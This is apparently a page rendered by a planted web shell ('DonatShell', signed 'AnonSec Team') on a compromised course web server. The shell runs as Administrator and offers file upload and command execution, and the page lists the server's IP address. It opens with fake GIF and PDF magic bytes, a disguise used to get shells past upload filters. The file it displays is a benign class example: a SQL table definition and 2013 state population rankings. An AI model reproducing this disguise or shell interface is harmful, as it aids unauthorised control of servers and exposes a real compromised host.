GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1600/_Archive/Examples/State pop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1600/_Archive/Examples/State pop//state population data.txt
United States total population: 316,128,839 (as of 2013, according to the US Census Bureau).

CREATE TABLE IF NOT EXISTS `statepopulation` (
  `stateId` INT(11) UNSIGNED NOT NULL,
  `statePOP` INT(9) UNSIGNED NOT NULL,
  PRIMARY KEY (`stateId`),
  CONSTRAINT `fk_statepopulation_state`
    FOREIGN KEY (`stateId`)
    REFERENCES `state` (`stateId`)
    ON DELETE RESTRICT
    ON UPDATE CASCADE)
ENGINE = InnoDB
DEFAULT CHARACTER SET = utf8;


statepopulation
stateId
statePOP

State Ranking 	Population
Census Data: 2013
California 	1 	38,332,521
Texas 	2 	26,448,193
New York 	3 	19,651,127
Florida 	4 	19,552,860
Illinois 	5 	12,882,135
Pennsylvania 	6 	12,773,801
Ohio 	7 	11,570,808
Georgia 	8 	9,992,167
Michigan 	9 	9,895,622
North Carolina 	10 	9,848,060
New Jersey 	11 	8,899,339
State Ranking 	Population
Virginia 	12 	8,260,405
Washington 	13 	6,971,406
Massachusetts 	14 	6,692,824
Arizona 	15 	6,626,624
Indiana 	16 	6,570,902
Tennessee 	17 	6,495,978
Missouri 	18 	6,044,171
Maryland 	19 	5,928,814
Wisconsin 	20 	5,742,713
State Ranking 	Population
Minnesota 	21 	5,420,380
Colorado 	22 	5,268,367
Alabama 	23 	4,833,722
South Carolina 	24 	4,774,839
Louisiana 	25 	4,625,470
Kentucky 	26 	4,395,295
Oregon 	27 	3,930,065
Oklahoma 	28 	3,850,568
Connecticut 	29 	3,596,080
Iowa 	30 	3,090,416
State Ranking 	Population
Mississippi 	31 	2,991,207
Arkansas 	32 	2,959,373
Utah 	33 	2,900,872
Kansas 	34 	2,893,957
Nevada 	35 	2,790,136
New Mexico 	36 	2,085,287
Nebraska 	37 	1,868,516
West Virginia 	38 	1,854,304
Idaho 	39 	1,612,136
Hawaii 	40 	1,404,054
State Ranking 	Population
Maine 	41 	1,328,302
New Hampshire 	42 	1,323,459
Rhode Island 	43 	1,051,511
Montana 	44 	1,015,165
Delaware 	45 	925,749
South Dakota 	46 	844,877
Alaska 	47 	735,132
North Dakota 	48 	723,393
District of Columbia 	49 	646,449
Vermont 	50 	626,630
Wyoming 	51 	582,658
State Ranking 	Population

Anon7 - 2022
AnonSec Team